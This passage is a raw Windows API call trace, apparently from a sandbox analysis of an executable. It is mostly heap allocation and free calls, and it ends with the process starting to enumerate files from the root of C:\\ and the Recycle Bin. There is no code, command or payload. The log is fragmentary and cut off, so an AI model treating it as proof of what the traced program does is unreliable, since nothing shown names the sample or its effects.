lpSystemTimeAsFileTime=0x235fc50*(dwLowDateTime=0xa4f4bec0, dwHighDateTime=0x1d5e09d)) [0033.612] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x557498 [0033.612] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0033.612] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a088 [0033.612] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bb78 [0033.612] GetLastError () returned 0x0 [0033.612] SetLastError (dwErrCode=0x0) [0033.612] GetLastError () returned 0x0 [0033.612] SetLastError (dwErrCode=0x0) [0033.612] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0033.612] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a088 | out: hHeap=0x540000) returned 1 [0033.612] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb458 [0033.613] GetLastError () returned 0x0 [0033.613] SetLastError (dwErrCode=0x0) [0033.613] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb458 | out: hHeap=0x540000) returned 1 [0033.613] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb458 [0033.613] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x563880 [0033.613] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x564be8 [0033.613] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x5654b0 [0033.613] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb88 [0033.613] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0033.613] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x561608 [0033.613] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb98 [0033.613] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c38 [0033.613] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x561620 [0033.613] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x564c60 [0033.613] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x5655b8 [0033.613] GetLastError () returned 0x0 [0033.613] SetLastError (dwErrCode=0x0) [0033.613] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb458 | out: hHeap=0x540000) returned 1 [0033.616] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1b) returned 0x564c88 [0033.616] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1b) returned 0x564cb0 [0033.616] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bba8 [0033.616] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bbb8 [0033.616] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bbc8 [0033.616] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbb8 | out: hHeap=0x540000) returned 1 [0033.616] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bbb8 [0033.616] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbc8 | out: hHeap=0x540000) returned 1 [0033.616] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bba8 | out: hHeap=0x540000) returned 1 [0033.616] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bba8 [0033.616] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x561638 [0033.616] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bba8 | out: hHeap=0x540000) returned 1 [0033.616] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x561650 [0033.616] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x561638 | out: hHeap=0x540000) returned 1 [0033.616] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbb8 | out: hHeap=0x540000) returned 1 [0033.616] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x561638 [0033.616] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x561668 [0033.616] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x561638 | out: hHeap=0x540000) returned 1 [0033.616] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x561638 [0033.616] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x561668 | out: hHeap=0x540000) returned 1 [0033.616] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x561650 | out: hHeap=0x540000) returned 1 [0033.616] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x561650 [0033.616] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x18) returned 0x59a088 [0033.616] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x561650 | out: hHeap=0x540000) returned 1 [0033.616] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0033.616] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a088 | out: hHeap=0x540000) returned 1 [0033.616] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x561638 | out: hHeap=0x540000) returned 1 [0033.617] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a088 [0033.617] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x564cd8 [0033.617] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a088 | out: hHeap=0x540000) returned 1 [0033.617] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x18) returned 0x59a088 [0033.617] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564cd8 | out: hHeap=0x540000) returned 1 [0033.617] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0033.617] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x18) returned 0x59a0c8 [0033.617] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x5613b0 [0033.617] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0033.617] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x564cd8 [0033.617] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5613b0 | out: hHeap=0x540000) returned 1 [0033.617] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a088 | out: hHeap=0x540000) returned 1 [0033.617] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bbb8 [0033.617] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x561638 [0033.617] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbb8 | out: hHeap=0x540000) returned 1 [0033.617] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x561650 [0033.617] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x561638 | out: hHeap=0x540000) returned 1 [0033.617] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x18) returned 0x59a088 [0033.617] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x561650 | out: hHeap=0x540000) returned 1 [0033.617] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x5613b0 [0033.617] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a088 | out: hHeap=0x540000) returned 1 [0033.617] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5613b0 | out: hHeap=0x540000) returned 1 [0033.617] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564cd8 | out: hHeap=0x540000) returned 1 [0033.617] RtlWakeAllConditionVariable () returned 0x0 [0033.618] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c88 | out: hHeap=0x540000) returned 1 [0033.618] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x5656c0 [0033.619] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5654b0 | out: hHeap=0x540000) returned 1 [0033.619] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564be8 | out: hHeap=0x540000) returned 1 [0033.619] RtlInitializeConditionVariable () returned 0x493094 [0033.619] RtlWakeAllConditionVariable () returned 0x0 [0033.619] GetCurrentThreadId () returned 0x5dc [0033.619] GetCurrentThreadId () returned 0x5dc [0033.619] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bbb8 [0033.619] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x5657e0 [0033.619] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5657e0 | out: hHeap=0x540000) returned 1 [0033.619] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x5657e0 [0033.619] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x565900 [0033.619] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5657e0 | out: hHeap=0x540000) returned 1 [0033.619] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x565900 | out: hHeap=0x540000) returned 1 [0033.619] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x5654b0 [0033.619] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x5657e0 [0033.619] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5657e0 | out: hHeap=0x540000) returned 1 [0033.619] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x5657e0 [0033.619] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5657e0 | out: hHeap=0x540000) returned 1 [0033.619] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x5657e0 [0033.619] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x5658e8 [0033.619] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5658e8 | out: hHeap=0x540000) returned 1 [0033.619] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc0) returned 0x5658e8 [0033.621] QueryPerformanceCounter (in: lpPerformanceCount=0x235fa30 | out: lpPerformanceCount=0x235fa30*=17566414065) returned 1 [0033.796] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x235fa70 | out: lpSystemTimeAsFileTime=0x235fa70*(dwLowDateTime=0xa5114f40, dwHighDateTime=0x1d5e09d)) [0033.799] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bba8 [0033.801] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564be8 [0033.804] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a088 [0033.810] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a088 | out: hHeap=0x540000) returned 1 [0033.812] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564be8 | out: hHeap=0x540000) returned 1 [0033.812] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564be8 [0033.812] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a088 [0033.812] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a088 | out: hHeap=0x540000) returned 1 [0033.813] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564be8 | out: hHeap=0x540000) returned 1 [0033.813] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bba8 | out: hHeap=0x540000) returned 1 [0033.813] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5658e8 | out: hHeap=0x540000) returned 1 [0033.815] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb458 [0033.818] GetLastError () returned 0x0 [0033.818] SetLastError (dwErrCode=0x0) [0033.818] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb458 | out: hHeap=0x540000) returned 1 [0033.821] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x5658e8 [0033.823] RtlWakeAllConditionVariable () returned 0x0 [0033.823] RtlWakeAllConditionVariable () returned 0x0 [0033.824] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x18) returned 0x59a088 [0033.824] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1b) returned 0x564be8 [0033.824] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x565a08 [0033.824] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x565b28 [0033.824] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1b) returned 0x564c88 [0033.825] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1b) returned 0x564cd8 [0033.825] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x565c48 [0033.825] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x565d68 [0033.825] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1b) returned 0x564d00 [0033.825] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x565e88 [0033.825] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x513) returned 0x565fa8 [0033.826] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x5664c8 [0033.826] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x213) returned 0x5665e8 [0033.826] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5664c8 | out: hHeap=0x540000) returned 1 [0033.826] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x213) returned 0x566808 [0033.826] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5665e8 | out: hHeap=0x540000) returned 1 [0033.826] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1b) returned 0x564d28 [0033.826] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1b) returned 0x564d50 [0033.826] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564d28 | out: hHeap=0x540000) returned 1 [0033.826] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x5664c8 [0033.826] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564d50 | out: hHeap=0x540000) returned 1 [0033.826] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x213) returned 0x5665e8 [0033.826] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x52b) returned 0x566a28 [0033.827] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x566a28 | out: hHeap=0x540000) returned 1 [0033.827] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5665e8 | out: hHeap=0x540000) returned 1 [0033.827] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x566808 | out: hHeap=0x540000) returned 1 [0033.828] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x561650 [0033.828] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x5574e0 [0033.828] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1b) returned 0x564d50 [0033.828] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1b) returned 0x564d28 [0033.828] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1b) returned 0x564d78 [0033.828] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1b) returned 0x564da0 [0033.828] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564d28 | out: hHeap=0x540000) returned 1 [0033.828] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564d50 | out: hHeap=0x540000) returned 1 [0033.828] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x213) returned 0x5665e8 [0033.828] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1b) returned 0x564d50 [0033.828] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1b) returned 0x564d28 [0033.828] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564d50 | out: hHeap=0x540000) returned 1 [0033.828] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x566808 [0033.828] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564d28 | out: hHeap=0x540000) returned 1 [0033.828] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x55fa58 [0033.828] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x433) returned 0x566928 [0033.828] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x566928 | out: hHeap=0x540000) returned 1 [0033.828] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55fa58 | out: hHeap=0x540000) returned 1 [0033.828] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564d00 | out: hHeap=0x540000) returned 1 [0033.828] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x566928 [0033.828] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x566808 | out: hHeap=0x540000) returned 1 [0033.828] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5665e8 | out: hHeap=0x540000) returned 1 [0033.828] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x18) returned 0x59a0c8 [0033.828] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x5665e8 [0033.828] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x566708 [0033.829] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564cd8 | out: hHeap=0x540000) returned 1 [0033.829] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x566a48 [0033.829] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x566708 | out: hHeap=0x540000) returned 1 [0033.830] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564da0 | out: hHeap=0x540000) returned 1 [0033.830] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564d78 | out: hHeap=0x540000) returned 1 [0033.830] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5574e0 | out: hHeap=0x540000) returned 1 [0033.830] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5665e8 | out: hHeap=0x540000) returned 1 [0033.830] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0033.830] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x561650 | out: hHeap=0x540000) returned 1 [0033.830] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5664c8 | out: hHeap=0x540000) returned 1 [0033.830] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x5664c8 [0033.830] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5664c8 | out: hHeap=0x540000) returned 1 [0033.830] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x565fa8 | out: hHeap=0x540000) returned 1 [0033.830] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x565e88 | out: hHeap=0x540000) returned 1 [0033.830] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x566928 | out: hHeap=0x540000) returned 1 [0033.830] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x565d68 | out: hHeap=0x540000) returned 1 [0033.830] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x565c48 | out: hHeap=0x540000) returned 1 [0033.830] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c88 | out: hHeap=0x540000) returned 1 [0033.830] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x565b28 | out: hHeap=0x540000) returned 1 [0033.830] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x565a08 | out: hHeap=0x540000) returned 1 [0033.830] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x565a08 [0033.830] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x113) returned 0x565b28 [0033.830] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x565a08 | out: hHeap=0x540000) returned 1 [0033.830] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x565b28 | out: hHeap=0x540000) returned 1 [0033.830] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x566a48 | out: hHeap=0x540000) returned 1 [0033.830] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5658e8 | out: hHeap=0x540000) returned 1 [0033.830] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5657e0 | out: hHeap=0x540000) returned 1 [0033.831] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564cb0 | out: hHeap=0x540000) returned 1 [0033.831] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5656c0 | out: hHeap=0x540000) returned 1 [0033.831] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb78 | out: hHeap=0x540000) returned 1 [0033.832] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x561620 | out: hHeap=0x540000) returned 1 [0033.832] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c38 | out: hHeap=0x540000) returned 1 [0033.832] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb98 | out: hHeap=0x540000) returned 1 [0033.832] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x561608 | out: hHeap=0x540000) returned 1 [0033.832] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0033.832] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bb88 | out: hHeap=0x540000) returned 1 [0033.833] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5655b8 | out: hHeap=0x540000) returned 1 [0033.833] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0033.833] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x563880 | out: hHeap=0x540000) returned 1 [0033.833] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x557498 | out: hHeap=0x540000) returned 1 [0033.833] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x561fe0 | out: hHeap=0x540000) returned 1 [0033.833] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560008 | out: hHeap=0x540000) returned 1 [0033.834] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x561fe0 [0033.834] FindFirstFileExW (in: lpFileName="C:\\*", fInfoLevelId=0x0, lpFindFileData=0x235fb70, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235fb70) returned 0x5597f8 [0033.922] lstrcmpW (lpString1="$Recycle.Bin", lpString2=".") returned -1 [0033.922] lstrcmpW (lpString1="$Recycle.Bin", lpString2="..") returned -1 [0033.922] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0033.922] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0033.922] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.922] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.922] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.922] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.922] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0033.922] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0033.922] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x563880 [0033.922] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x563880 | out: hHeap=0x540000) returned 1 [0033.922] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x563880 [0033.922] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x563880 | out: hHeap=0x540000) returned 1 [0033.922] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x563880 [0033.922] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x563880 | out: hHeap=0x540000) returned 1 [0033.922] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.922] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.922] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.922] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.922] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.922] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.922] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.922] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.923] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.923] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.923] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0033.923] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0033.923] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0033.923] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0033.923] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0033.923] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0033.923] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb458 [0033.923] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb458 | out: hHeap=0x540000) returned 1 [0033.923] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0033.923] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0033.923] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0033.923] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0033.923] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x561fe0 | out: hHeap=0x540000) returned 1 [0033.923] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0033.923] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0033.923] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x561fe0 [0033.923] FindFirstFileExW (in: lpFileName="C:\\$Recycle.Bin\\*", fInfoLevelId=0x0, lpFindFileData=0x235f880, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f880) returned 0x563880 [0033.923] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0033.923] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: 